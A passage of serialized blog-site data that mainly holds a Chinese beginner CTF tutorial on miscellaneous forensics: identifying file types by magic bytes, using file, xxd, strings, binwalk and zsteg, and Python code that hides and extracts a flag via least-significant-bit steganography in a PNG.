lass":108,"line":140},[106,3768,125],{"emptyLinePlaceholder":124},[106,3770,3771],{"class":108,"line":146},[106,3772,718],{},[106,3774,3775],{"class":108,"line":151},[106,3776,723],{},[106,3778,3779],{"class":108,"line":157},[106,3780,728],{},[106,3782,3783],{"class":108,"line":163},[106,3784,733],{},[106,3786,3787],{"class":108,"line":169},[106,3788,738],{},[106,3790,3791],{"class":108,"line":174},[106,3792,125],{"emptyLinePlaceholder":124},[106,3794,3795],{"class":108,"line":180},[106,3796,747],{},[106,3798,3799],{"class":108,"line":186},[106,3800,752],{},[106,3802,3803],{"class":108,"line":192},[106,3804,757],{},[106,3806,3807],{"class":108,"line":197},[106,3808,762],{},[106,3810,3811],{"class":108,"line":203},[106,3812,767],{},[106,3814,3815],{"class":108,"line":770},[106,3816,125],{"emptyLinePlaceholder":124},[106,3818,3819],{"class":108,"line":775},[106,3820,778],{},[106,3822,3823],{"class":108,"line":781},[106,3824,784],{},[106,3826,3827],{"class":108,"line":787},[106,3828,790],{},[106,3830,3831],{"class":108,"line":793},[106,3832,796],{},[106,3834,3835],{"class":108,"line":799},[106,3836,802],{},[106,3838,3839],{"class":108,"line":805},[106,3840,808],{},[15,3842,209],{},[97,3844,3846],{"className":3845,"code":814,"language":215,"meta":102},[213],[52,3847,814],{"__ignoreMap":102},[15,3849,819,3850,823,3852,826],{},[52,3851,822],{},[52,3853,287],{},[10,3855,830],{"id":829},[309,3857,834],{"id":833},[15,3859,837],{},[19,3861,3862,3870],{},[22,3863,3864],{},[25,3865,3866,3868],{},[28,3867,846],{},[28,3869,849],{},[38,3871,3872,3878,3884],{},[25,3873,3874,3876],{},[43,3875,856],{},[43,3877,859],{},[25,3879,3880,3882],{},[43,3881,864],{},[43,3883,867],{},[25,3885,3886,3888],{},[43,3887,872],{},[43,3889,875],{},[309,3891,879],{"id":878},[97,3893,3894],{"className":99,"code":882,"language":101,"meta":102,"style":102},[52,3895,3896,3900,3904,3908,3912],{"__ignoreMap":102},[106,3897,3898],{"class":108,"line":109},[106,3899,889],{},[106,3901,3902],{"class":108,"line":115},[106,3903,125],{"emptyLinePlaceholder":124},[106,3905,3906],{"class":108,"line":121},[106,3907,898],{},[106,3909,3910],{"class":108,"line":128},[106,3911,903],{},[106,3913,3914],{"class":108,"line":134},[106,3915,908],{},[309,3917,912],{"id":911},[15,3919,915],{},[97,3921,3922],{"className":99,"code":918,"language":101,"meta":102,"style":102},[52,3923,3924,3928,3932,3936,3940],{"__ignoreMap":102},[106,3925,3926],{"class":108,"line":109},[106,3927,925],{},[106,3929,3930],{"class":108,"line":115},[106,3931,125],{"emptyLinePlaceholder":124},[106,3933,3934],{"class":108,"line":121},[106,3935,934],{},[106,3937,3938],{"class":108,"line":128},[106,3939,939],{},[106,3941,3942],{"class":108,"line":134},[106,3943,944],{},[15,3945,209],{},[97,3947,3949],{"className":3948,"code":950,"language":215,"meta":102},[213],[52,3950,950],{"__ignoreMap":102},[10,3952,956],{"id":955},[15,3954,959],{},[97,3956,3958],{"className":3957,"code":369,"language":215,"meta":102},[213],[52,3959,369],{"__ignoreMap":102},[15,3961,967],{},[15,3963,3964,972,3966,975],{},[316,3965,385],{},[52,3967,389],{},[97,3969,3970],{"className":99,"code":978,"language":101,"meta":102,"style":102},[52,3971,3972,3976,3980,3984,3988,3992,3996,4000,4004,4008,4012,4016],{"__ignoreMap":102},[106,3973,3974],{"class":108,"line":109},[106,3975,985],{},[106,3977,3978],{"class":108,"line":115},[106,3979,990],{},[106,3981,3982],{"class":108,"line":121},[106,3983,125],{"emptyLinePlaceholder":124},[106,3985,3986],{"class":108,"line":128},[106,3987,999],{},[106,3989,3990],{"class":108,"line":134},[106,3991,125],{"emptyLinePlaceholder":124},[106,3993,3994],{"class":108,"line":140},[106,3995,418],{},[106,3997,3998],{"class":108,"line":146},[106,3999,428],{},[106,4001,4002],{"class":108,"line":151},[106,4003,1016],{},[106,4005,4006],{"class":108,"line":157},[106,4007,443],{},[106,4009,4010],{"class":108,"line":163},[106,4011,1025],{},[106,4013,4014],{"class":108,"line":169},[106,4015,1030],{},[106,4017,4018],{"class":108,"line":174},[106,4019,463],{},[15,4021,209],{},[97,4023,4025],{"className":4024,"code":474,"language":215,"meta":102},[213],[52,4026,474],{"__ignoreMap":102},[10,4028,1045],{"id":1044},[15,4030,1048],{},[1050,4032,1052],{},{"title":102,"searchDepth":115,"depth":115,"links":4034},[4035,4036,4037,4038,4039,4040,4041,4042],{"id":12,"depth":121,"text":13},{"id":255,"depth":121,"text":256},{"id":295,"depth":121,"text":296},{"id":528,"depth":121,"text":529},{"id":607,"depth":121,"text":608},{"id":829,"depth":121,"text":830},{"id":955,"depth":121,"text":956},{"id":1044,"depth":121,"text":1045},{"date":1066,"image":1067,"alt":1068,"tags":4044,"published":124},[1070,1071,1072],{"title":5,"description":1063},{"id":4047,"title":4048,"body":4049,"description":5003,"extension":1064,"meta":5004,"navigation":124,"ogImage":5005,"path":5009,"seo":5010,"stem":5011,"__hash__":5012},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":7,"value":4050,"toc":4993},[4051,4055,4065,4068,4128,4130,4163,4167,4171,4176,4181,4193,4195,4201,4208,4231,4235,4240,4263,4265,4271,4281,4285,4290,4301,4322,4325,4329,4332,4345,4347,4353,4356,4370,4377,4384,4395,4399,4403,4406,4412,4415,4419,4424,4627,4641,4645,4650,4655,4785,4787,4793,4797,4822,4828,4830,4901,4905,4910,4913,4924,4929,4932,4950,4953,4956,4966,4969,4972,4977,4979,4990],[10,4052,4054],{"id":4053},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,4056,4057,4058,4061,4062,643],{},"操作系统按扩展名选择打开程序（",[52,4059,4060],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[316,4063,4064],{},"先看文件头，再信扩展名",[15,4066,4067],{},"必须记住的三个文件头：",[19,4069,4070,4083],{},[22,4071,4072],{},[25,4073,4074,4077,4080],{},[28,4075,4076],{},"文件",[28,4078,4079],{},"文件头（hex）",[28,4081,4082],{},"明文",[38,4084,4085,4100,4113],{},[25,4086,4087,4090,4095],{},[43,4088,4089],{},"PNG",[43,4091,4092],{},[52,4093,4094],{},"89 50 4E 47 0D 0A 1A 0A",[43,4096,4097],{},[52,4098,4099],{},"‰PNG",[25,4101,4102,4105,4110],{},[43,4103,4104],{},"JPEG",[43,4106,4107],{},[52,4108,4109],{},"FF D8 FF",[43,4111,4112],{},"—",[25,4114,4115,4118,4123],{},[43,4116,4117],{},"ZIP",[43,4119,4120],{},[52,4121,4122],{},"50 4B 03 04",[43,4124,4125],{},[52,4126,4127],{},"PK",[10,4129,256],{"id":255},[97,4131,4133],{"className":259,"code":4132,"language":261,"meta":102,"style":102},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[52,4134,4135,4154],{"__ignoreMap":102},[106,4136,4137,4139,4141,4143,4145,4148,4151],{"class":108,"line":109},[106,4138,1158],{"class":268},[106,4140,273],{"class":272},[106,4142,1163],{"class":272},[106,4144,1166],{"class":272},[106,4146,4147],{"class":272}," binwalk",[106,4149,4150],{"class":272}," foremost",[106,4152,4153],{"class":272}," exiftool\n",[106,4155,4156,4158,4160],{"class":108,"line":115},[106,4157,269],{"class":268},[106,4159,273],{"class":272},[106,4161,4162],{"class":272}," pillow\n",[10,4164,4166],{"id":4165},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[309,4168,4170],{"id":4169},"_31-file看真实类型","3.1 file：看真实类型",[15,4172,4173,4175],{},[316,4174,318],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,4177,4178,4180],{},[316,4179,1681],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[97,4182,4184],{"className":259,"code":4183,"language":261,"meta":102,"style":102},"file hidden.png\n",[52,4185,4186],{"__ignoreMap":102},[106,4187,4188,4190],{"class":108,"line":109},[106,4189,1213],{"class":268},[106,4191,4192],{"class":272}," hidden.png\n",[15,4194,209],{},[97,4196,4199],{"className":4197,"code":4198,"language":215,"meta":102},[213],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[52,4200,4198],{"__ignoreMap":102},[15,4202,4203,4204,4207],{},"如果输出是 ",[52,4205,4206],{},"Zip archive data","，说明文件其实是 zip：",[97,4209,4211],{"className":259,"code":4210,"language":261,"meta":102,"style":102},"mv flag.png flag.zip && unzip flag.zip\n",[52,4212,4213],{"__ignoreMap":102},[106,4214,4215,4218,4221,4224,4226,4228],{"class":108,"line":109},[106,4216,4217],{"class":268},"mv",[106,4219,4220],{"class":272}," flag.png",[106,4222,4223],{"class":272}," flag.zip",[106,4225,1814],{"class":1123},[106,4227,1791],{"class":268},[106,4229,4230],{"class":272}," flag.zip\n",[309,4232,4234],{"id":4233},"_32-xxd看文件头","3.2 xxd：看文件头",[15,4236,4237,4239],{},[316,4238,318],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[97,4241,4243],{"className":259,"code":4242,"language":261,"meta":102,"style":102},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[52,4244,4245,4258],{"__ignoreMap":102},[106,4246,4247,4250,4253,4256],{"class":108,"line":109},[106,4248,4249],{"class":268},"xxd",[106,4251,4252],{"class":515}," -l",[106,4254,4255],{"class":515}," 16",[106,4257,4192],{"class":272},[106,4259,4260],{"class":108,"line":115},[106,4261,4262],{"class":2583},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,4264,209],{},[97,4266,4269],{"className":4267,"code":4268,"language":215,"meta":102},[213],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[52,4270,4268],{"__ignoreMap":102},[15,4272,4273,4274,4277,4278,643],{},"开头的 ",[52,4275,4276],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[52,4279,4280],{},".PNG",[309,4282,4284],{"id":4283},"_33-strings搜字符串","3.3 strings：搜字符串",[15,4286,4287,4289],{},[316,4288,318],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,4291,4292,493,4294,4296,4297,4300],{},[316,4293,385],{},[52,4295,1257],{}," 把可打印字符串抽出来，",[52,4298,4299],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[97,4302,4304],{"className":259,"code":4303,"language":261,"meta":102,"style":102},"strings flag.png | grep -i flag\n",[52,4305,4306],{"__ignoreMap":102},[106,4307,4308,4310,4312,4314,4316,4319],{"class":108,"line":109},[106,4309,1257],{"class":268},[106,4311,4220],{"class":272},[106,4313,1446],{"class":1116},[106,4315,1449],{"class":268},[106,4317,4318],{"class":515}," -i",[106,4320,4321],{"class":272}," flag\n",[15,4323,4324],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,4326,4328],{"id":4327},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,4330,4331],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[97,4333,4335],{"className":259,"code":4334,"language":261,"meta":102,"style":102},"binwalk flag.png\n",[52,4336,4337],{"__ignoreMap":102},[106,4338,4339,4342],{"class":108,"line":109},[106,4340,4341],{"class":268},"binwalk",[106,4343,4344],{"class":272}," flag.png\n",[15,4346,1219],{},[97,4348,4351],{"className":4349,"code":4350,"language":215,"meta":102},[213],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[52,4352,4350],{"__ignoreMap":102},[15,4354,4355],{},"提取：",[97,4357,4359],{"className":259,"code":4358,"language":261,"meta":102,"style":102},"binwalk -e flag.png\n",[52,4360,4361],{"__ignoreMap":102},[106,4362,4363,4365,4368],{"class":108,"line":109},[106,4364,4341],{"class":268},[106,4366,4367],{"class":515}," -e",[106,4369,4344],{"class":272},[15,4371,4372,4373,4376],{},"会在当前目录生成 ",[52,4374,4375],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,4378,4379,4380,4383],{},"备选工具 ",[52,4381,4382],{},"foremost","（按文件头暴力切割）：",[97,4385,4387],{"className":259,"code":4386,"language":261,"meta":102,"style":102},"foremost flag.png\n",[52,4388,4389],{"__ignoreMap":102},[106,4390,4391,4393],{"class":108,"line":109},[106,4392,4382],{"class":268},[106,4394,4344],{"class":272},[10,4396,4398],{"id":4397},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[309,4400,4402],{"id":4401},"_51-原理","5.1 原理",[15,4404,4405],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[97,4407,4410],{"className":4408,"code":4409,"language":215,"meta":102},[213],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[52,4411,4409],{"__ignoreMap":102},[15,4413,4414],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[309,4416,4418],{"id":4417},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,4420,4421,4423],{},[316,4422,318],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[97,4425,4427],{"className":99,"code":4426,"language":101,"meta":102,"style":102},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n",[52,4428,4429,4434,4439,4443,4448,4453,4458,4463,4467,4472,4477,4482,4487,4492,4497,4502,4507,4511,4516,4521,4526,4531,4536,4541,4546,4551,4557,4563,4568,4574,4580,4586,4592,4597,4603,4609,4615,4621],{"__ignoreMap":102},[106,4430,4431],{"class":108,"line":109},[106,4432,4433],{},"from PIL import Image\n",[106,4435,4436],{"class":108,"line":115},[106,4437,4438],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[106,4440,4441],{"class":108,"line":121},[106,4442,125],{"emptyLinePlaceholder":124},[106,4444,4445],{"class":108,"line":128},[106,4446,4447],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[106,4449,4450],{"class":108,"line":134},[106,4451,4452],{},"# Image.new(mode, size, color)：新建一张图片。\n",[106,4454,4455],{"class":108,"line":140},[106,4456,4457],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[106,4459,4460],{"class":108,"line":146},[106,4461,4462],{},"message = \"flag{lsb_steganography}\"\n",[106,4464,4465],{"class":108,"line":151},[106,4466,125],{"emptyLinePlaceholder":124},[106,4468,4469],{"class":108,"line":157},[106,4470,4471],{},"data = message.encode() + b'\\x00'\n",[106,4473,4474],{"class":108,"line":163},[106,4475,4476],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[106,4478,4479],{"class":108,"line":169},[106,4480,4481],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[106,4483,4484],{"class":108,"line":174},[106,4485,4486],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[106,4488,4489],{"class":108,"line":180},[106,4490,4491],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[106,4493,4494],{"class":108,"line":186},[106,4495,4496],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[106,4498,4499],{"class":108,"line":192},[106,4500,4501],{},"pixels = list(img.getdata())\n",[106,4503,4504],{"class":108,"line":197},[106,4505,4506],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[106,4508,4509],{"class":108,"line":203},[106,4510,125],{"emptyLinePlaceholder":124},[106,4512,4513],{"class":108,"line":770},[106,4514,4515],{},"new_pixels = []\n",[106,4517,4518],{"class":108,"line":775},[106,4519,4520],{},"i = 0\n",[106,4522,4523],{"class":108,"line":781},[106,4524,4525],{},"for r, g, b in pixels:\n",[106,4527,4528],{"class":108,"line":787},[106,4529,4530],{},"    if i \u003C len(bits):\n",[106,4532,4533],{"class":108,"line":793},[106,4534,4535],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[106,4537,4538],{"class":108,"line":799},[106,4539,4540],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[106,4542,4543],{"class":108,"line":805},[106,4544,4545],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[106,4547,4549],{"class":108,"line":4548},25,[106,4550,4530],{},[106,4552,4554],{"class":108,"line":4553},26,[106,4555,4556],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[106,4558,4560],{"class":108,"line":4559},27,[106,4561,4562],{},"        # 绿色通道同样处理。\n",[106,4564,4566],{"class":108,"line":4565},28,[106,4567,4530],{},[106,4569,4571],{"class":108,"line":4570},29,[106,4572,4573],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[106,4575,4577],{"class":108,"line":4576},30,[106,4578,4579],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[106,4581,4583],{"class":108,"line":4582},31,[106,4584,4585],{},"    new_pixels.append((r, g, b))\n",[106,4587,4589],{"class":108,"line":4588},32,[106,4590,4591],{},"    # 修改后的像素放入新列表。\n",[106,4593,4595],{"class":108,"line":4594},33,[106,4596,125],{"emptyLinePlaceholder":124},[106,4598,4600],{"class":108,"line":4599},34,[106,4601,4602],{},"img.putdata(new_pixels)\n",[106,4604,4606],{"class":108,"line":4605},35,[106,4607,4608],{},"# putdata()：把新像素列表写回图片对象。\n",[106,4610,4612],{"class":108,"line":4611},36,[106,4613,4614],{},"img.save('hidden.png')\n",[106,4616,4618],{"class":108,"line":4617},37,[106,4619,4620],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[106,4622,4624],{"class":108,"line":4623},38,[106,4625,4626],{},"print(\"已生成 hidden.png\")\n",[15,4628,4629,4632,4633,4636,4637,4640],{},[52,4630,4631],{},"r & 0xfe"," 把最低位清零（",[52,4634,4635],{},"0xfe = 11111110","），",[52,4638,4639],{},"| bit"," 写入目标比特。",[309,4642,4644],{"id":4643},"_53-提取解题视角","5.3 提取（解题视角）",[15,4646,4647,4649],{},[316,4648,318],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,4651,4652,4654],{},[316,4653,385],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[97,4656,4658],{"className":99,"code":4657,"language":101,"meta":102,"style":102},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[52,4659,4660,4664,4668,4673,4678,4683,4688,4693,4698,4703,4708,4712,4717,4722,4727,4732,4737,4742,4747,4752,4757,4762,4766,4771,4775,4780],{"__ignoreMap":102},[106,4661,4662],{"class":108,"line":109},[106,4663,4433],{},[106,4665,4666],{"class":108,"line":115},[106,4667,125],{"emptyLinePlaceholder":124},[106,4669,4670],{"class":108,"line":121},[106,4671,4672],{},"img = Image.open('hidden.png').convert('RGB')\n",[106,4674,4675],{"class":108,"line":128},[106,4676,4677],{},"# Image.open(path)：打开图片文件。\n",[106,4679,4680],{"class":108,"line":134},[106,4681,4682],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[106,4684,4685],{"class":108,"line":140},[106,4686,4687],{},"bits = []\n",[106,4689,4690],{"class":108,"line":146},[106,4691,4692],{},"for r, g, b in img.getdata():\n",[106,4694,4695],{"class":108,"line":151},[106,4696,4697],{},"    bits += [r & 1, g & 1, b & 1]\n",[106,4699,4700],{"class":108,"line":157},[106,4701,4702],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[106,4704,4705],{"class":108,"line":163},[106,4706,4707],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[106,4709,4710],{"class":108,"line":169},[106,4711,125],{"emptyLinePlaceholder":124},[106,4713,4714],{"class":108,"line":174},[106,4715,4716],{},"data = bytearray()\n",[106,4718,4719],{"class":108,"line":180},[106,4720,4721],{},"for i in range(0, len(bits) - 7, 8):\n",[106,4723,4724],{"class":108,"line":186},[106,4725,4726],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[106,4728,4729],{"class":108,"line":192},[106,4730,4731],{},"    byte = 0\n",[106,4733,4734],{"class":108,"line":197},[106,4735,4736],{},"    for bit in bits[i:i+8]:\n",[106,4738,4739],{"class":108,"line":203},[106,4740,4741],{},"        byte = (byte \u003C\u003C 1) | bit\n",[106,4743,4744],{"class":108,"line":770},[106,4745,4746],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[106,4748,4749],{"class":108,"line":775},[106,4750,4751],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[106,4753,4754],{"class":108,"line":781},[106,4755,4756],{},"    if byte == 0:\n",[106,4758,4759],{"class":108,"line":787},[106,4760,4761],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[106,4763,4764],{"class":108,"line":793},[106,4765,463],{},[106,4767,4768],{"class":108,"line":799},[106,4769,4770],{},"    data.append(byte)\n",[106,4772,4773],{"class":108,"line":805},[106,4774,125],{"emptyLinePlaceholder":124},[106,4776,4777],{"class":108,"line":4548},[106,4778,4779],{},"print(data.decode())\n",[106,4781,4782],{"class":108,"line":4553},[106,4783,4784],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,4786,209],{},[97,4788,4791],{"className":4789,"code":4790,"language":215,"meta":102},[213],"flag{lsb_steganography}\n",[52,4792,4790],{"__ignoreMap":102},[309,4794,4796],{"id":4795},"_54-现成工具","5.4 现成工具",[97,4798,4800],{"className":259,"code":4799,"language":261,"meta":102,"style":102},"gem install zsteg\nzsteg -a hidden.png\n",[52,4801,4802,4812],{"__ignoreMap":102},[106,4803,4804,4807,4809],{"class":108,"line":109},[106,4805,4806],{"class":268},"gem",[106,4808,273],{"class":272},[106,4810,4811],{"class":272}," zsteg\n",[106,4813,4814,4817,4820],{"class":108,"line":115},[106,4815,4816],{"class":268},"zsteg",[106,4818,4819],{"class":515}," -a",[106,4821,4192],{"class":272},[15,4823,4824,4827],{},[52,4825,4826],{},"-a"," 全自动检测各种 LSB 变体。",[10,4829,830],{"id":829},[19,4831,4832,4843],{},[22,4833,4834],{},[25,4835,4836,4838,4840],{},[28,4837,2075],{},[28,4839,2078],{},[28,4841,4842],{},"命令",[38,4844,4845,4857,4870,4886],{},[25,4846,4847,4849,4852],{},[43,4848,1213],{},[43,4850,4851],{},"看类型、看编码、看无后缀文件",[43,4853,4854],{},[52,4855,4856],{},"file flag",[25,4858,4859,4862,4865],{},[43,4860,4861],{},"xxd / hexdump",[43,4863,4864],{},"查看文件头、指定长度",[43,4866,4867],{},[52,4868,4869],{},"xxd -l 16 flag.png",[25,4871,4872,4874,4877],{},[43,4873,1257],{},[43,4875,4876],{},"提取字符串、指定长度、管道过滤",[43,4878,4879,1311,4882,1311,4884],{},[52,4880,4881],{},"strings flag.png",[52,4883,2110],{},[52,4885,2113],{},[25,4887,4888,4890,4893],{},[43,4889,4341],{},[43,4891,4892],{},"扫描、提取",[43,4894,4895,1311,4898],{},[52,4896,4897],{},"binwalk flag.png",[52,4899,4900],{},"binwalk -e flag.png",[10,4902,4904],{"id":4903},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,4906,2164,4907,643],{},[52,4908,4909],{},"flag.png",[15,4911,4912],{},"第一步：",[97,4914,4916],{"className":259,"code":4915,"language":261,"meta":102,"style":102},"file flag.png\n",[52,4917,4918],{"__ignoreMap":102},[106,4919,4920,4922],{"class":108,"line":109},[106,4921,1213],{"class":268},[106,4923,4344],{"class":272},[15,4925,1345,4926,643],{},[52,4927,4928],{},"PNG image data",[15,4930,4931],{},"第二步：",[97,4933,4934],{"className":259,"code":4303,"language":261,"meta":102,"style":102},[52,4935,4936],{"__ignoreMap":102},[106,4937,4938,4940,4942,4944,4946,4948],{"class":108,"line":109},[106,4939,1257],{"class":268},[106,4941,4220],{"class":272},[106,4943,1446],{"class":1116},[106,4945,1449],{"class":268},[106,4947,4318],{"class":515},[106,4949,4321],{"class":272},[15,4951,4952],{},"无输出。",[15,4954,4955],{},"第三步：",[97,4957,4958],{"className":259,"code":4334,"language":261,"meta":102,"style":102},[52,4959,4960],{"__ignoreMap":102},[106,4961,4962,4964],{"class":108,"line":109},[106,4963,4341],{"class":268},[106,4965,4344],{"class":272},[15,4967,4968],{},"无隐藏文件。",[15,4970,4971],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[97,4973,4975],{"className":4974,"code":4790,"language":215,"meta":102},[213],[52,4976,4790],{"__ignoreMap":102},[10,4978,1045],{"id":1044},[15,4980,4981,4982,4984,4985,2153,4987,4989],{},"Misc 入门三板斧：",[52,4983,1213],{}," 看类型、",[52,4986,1257],{},[52,4988,4341],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1050,4991,4992],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":102,"searchDepth":115,"depth":115,"links":4994},[4995,4996,4997,4998,4999,5000,5001,5002],{"id":4053,"depth":121,"text":4054},{"id":255,"depth":121,"text":256},{"id":4165,"depth":121,"text":4166},{"id":4327,"depth":121,"text":4328},{"id":4397,"depth":121,"text":4398},{"id":829,"depth":121,"text":830},{"id":4903,"depth":121,"text":4904},{"id":1044,"depth":121,"text":1045},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":1066,"image":5005,"alt":5006,"tags":5007,"published":124},"/blogs-img/blog4.png","CTF Misc 入门",[1070,5008],"misc","/blogs/ctf-misc-overview",{"title":4048,"description":5003},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":5014,"title":5015,"body":5016,"description":6408,"extension":1064,"meta":6409,"navigation":124,"ogImage":6410,"path":6415,"seo":6416,"stem":6417,"__hash__":6418},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 